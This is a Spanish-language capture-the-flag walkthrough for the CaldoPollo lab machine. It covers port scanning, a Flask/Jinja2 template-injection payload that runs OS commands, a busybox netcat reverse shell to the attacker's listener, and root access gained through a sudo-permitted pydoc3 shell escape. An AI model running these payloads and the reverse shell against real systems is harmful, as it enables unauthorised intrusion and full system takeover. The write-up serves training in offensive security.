CaldoDeAvecrem

Enumeration

Vamos a empezar con un escaneo nmap para ver que puertos abiertos tiene la máquina:

  1. El primer escaneo se basa en detectar cuales puertos están abiertos:
┌──(pylon㉿kali)-[~/Desktop/pylon/THL/CaldoPollo]
└─$ nmap -p- --open -sS --min-rate=5000 -n -Pn 192.168.88.132 -vvv
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-24 09:34 CEST
Initiating ARP Ping Scan at 09:34
Scanning 192.168.88.132 [1 port]
Completed ARP Ping Scan at 09:34, 0.03s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 09:34
Scanning 192.168.88.132 [65535 ports]
Discovered open port 80/tcp on 192.168.88.132
Discovered open port 22/tcp on 192.168.88.132
Discovered open port 8089/tcp on 192.168.88.132
Completed SYN Stealth Scan at 09:34, 0.70s elapsed (65535 total ports)
Nmap scan report for 192.168.88.132
Host is up, received arp-response (0.000055s latency).
Scanned at 2025-08-24 09:34:08 CEST for 1s
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 64
80/tcp   open  http    syn-ack ttl 64
8089/tcp open  unknown syn-ack ttl 64
MAC Address: 00:0C:29:1B:5E:CA (VMware)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.89 seconds
           Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
  1. Ahora vamos a realizar un segundo escaneo especificando estos puertos para lanzar scripts básicos de reconocimiento que tiene nmap y veremos que versión del servicio corren en cada uno de ellos:
┌──(pylon㉿kali)-[~/Desktop/pylon/THL/CaldoPollo]
└─$ nmap -p22,80,8089 -sCV 192.168.88.132
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-24 09:35 CEST
Nmap scan report for 192.168.88.132
Host is up (0.00013s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
|   256 9c:e0:78:67:d7:63:23:da:f5:e3:8a:77:00:60:6e:76 (ECDSA)
|_  256 4b:30:12:97:4b:5c:47:11:3c:aa:0b:68:0e:b2:01:1b (ED25519)
80/tcp   open  http    Apache httpd 2.4.57 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.57 (Debian)
8089/tcp open  http    Werkzeug httpd 2.2.2 (Python 3.11.2)
|_http-server-header: Werkzeug/2.2.2 Python/3.11.2
|_http-title: Caldo pollo
MAC Address: 00:0C:29:1B:5E:CA (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.60 seconds

Vemos lo siguiente:

PORTSERVICENOTES
22/tcpOpenSSH 9.2p1 DebianNo es vulnerable a una enumeración de usuarios, pero podemos fijarnos que estamos ante un sistema Debian.
80/tcpApache/2.4.57Por el http_title nos podemos fijar que es la página predeterminada que tiene Apache. Puede que no haya nada por este puerto.
8089/tcpWerkzeug/2.2.2Interesante, ya que si encontramos una entrada del usuario que se refleje podriamos estar ante un SSTI.

Vamos a ver ese puerto 80 para confirmar que no haya nada:

Vemos que si es la plantilla predeterminada de Apache. Vamos a hacer fuzzing para quitarnos de dudas:

┌──(pylon㉿kali)-[~/Desktop/pylon/THL/CaldoPollo]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.88.132/FUZZ" -e .php,.html,.js,.txt

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.88.132/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Extensions       : .php .html .js .txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

index.html              [Status: 200, Size: 10701, Words: 3427, Lines: 369, Duration: 122ms]
javascript              [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 20ms]
                        [Status: 200, Size: 10701, Words: 3427, Lines: 369, Duration: 0ms]
.html                   [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 0ms]
.php                    [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 6ms]
server-status           [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 0ms]
:: Progress: [1102725/1102725] :: Job [1/1] :: 22222 req/sec :: Duration: [0:00:41] :: Errors: 0 ::

No vemos gran cosa, así que por aquí no debe de ir la cosa… Vamos a ver el puerto 8089:

Vemos una web un poco extraña. Vamos a darle click donde pone No hay nada enseri, no toques:

Vemos que se refleja el mismo Hola que había antes y si nos fijamos en la URL vemos el parámetro user, vamos a probar a cambiarle el valor:

Shell as www-data

Vemos que refleja el input, como estamos ante un servidor en Python podríamos probar un SSTI:

Vemos que realizó la operatoria!! Eso es muy buena señal para explotar un SSTI!! Vamos a probar lo siguiente para ver si podemos ejecutar comandos:

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

Pudimos ejecutar código en la máquina!! Vamos a enviarnos una reverse shell:

Personalmente probando y probando reverse shell no me funcionaban excepto la siguiente empleando BusyBox:

busybox nc $your_ip 4444 -e /bin/bash
┌──(pylon㉿kali)-[~/Desktop/pylon/THL/CaldoPollo]
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.88.129] from (UNKNOWN) [192.168.88.132] 53666
whoami
caldo

Tratamiento de la TTY

script /dev/null -c bash
ctrl + z
stty raw -echo;fg
reset
xterm
export TERM=xterm SHELL=bash
stty rows $tu_número_filas columns $tu_número_de_columnas (lo puedes ver con stty size)

Shell as root

Si vemos los permisos SUDOERS:

caldo@CaldoPollo:~$ sudo -l
Matching Defaults entries for caldo on CaldoPollo:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User caldo may run the following commands on CaldoPollo:
    (root) NOPASSWD: /usr/bin/pydoc3

Vemos que podemos usar como el usuario root sin necesidad de contraseña (NOPASSWD) el binario pydoc3. Investigando no logre gran cosa, así que me puse a cacharrear. Ejecutando solo el binario podrémos ver lo siguiente:

caldo@CaldoPollo:~$ sudo -u root /usr/bin/pydoc3
pydoc - the Python documentation tool

pydoc3 <name> ...
    Show text documentation on something.  <name> may be the name of a
    Python keyword, topic, function, module, or package, or a dotted
    reference to a class or function within a module or module in a
    package.  If <name> contains a '/', it is used as the path to a
    Python source file to document. If name is 'keywords', 'topics',
    or 'modules', a listing of these things is displayed.

pydoc3 -k <keyword>
    Search for a keyword in the synopsis lines of all available modules.

pydoc3 -n <hostname>
    Start an HTTP server with the given hostname (default: localhost).

pydoc3 -p <port>
    Start an HTTP server on the given port on the local machine.  Port
    number 0 can be used to get an arbitrary unused port.

pydoc3 -b
    Start an HTTP server on an arbitrary unused port and open a web browser
    to interactively browse documentation.  This option can be used in
    combination with -n and/or -p.

pydoc3 -w <name> ...
    Write out the HTML documentation for a module to a file in the current
    directory.  If <name> contains a '/', it is treated as a filename; if
    it names a directory, documentation is written for all the contents.

Vemos que con el parámetro -p podemos abrir como un servidor HTTP. Vamos a probarlo:

caldo@CaldoPollo:~$ sudo -u root /usr/bin/pydoc3 -p 9999
Server ready at http://localhost:9999/
Server commands: [b]rowser, [q]uit
server>

Vemos que se inicializa un servidor HTTP en localhost y nos deja en un modo consola en el servidor, donde tenemos 2 comandos:

  • b -> Abrir como un navegador en la terminal
  • q -> Salirnos del servidor

Vamos a probar b:

Vemos que es pura documentación de Python, cachareando dandole SHIFT + 1 vi lo siguiente:

Vemos que se nos puso en modo de ejecución de algún comando y como lo hemos ejecutado como root nos interesa una bash como el, vamos a probar:

root@CaldoPollo:/home/caldo# whoami
root

root! ;)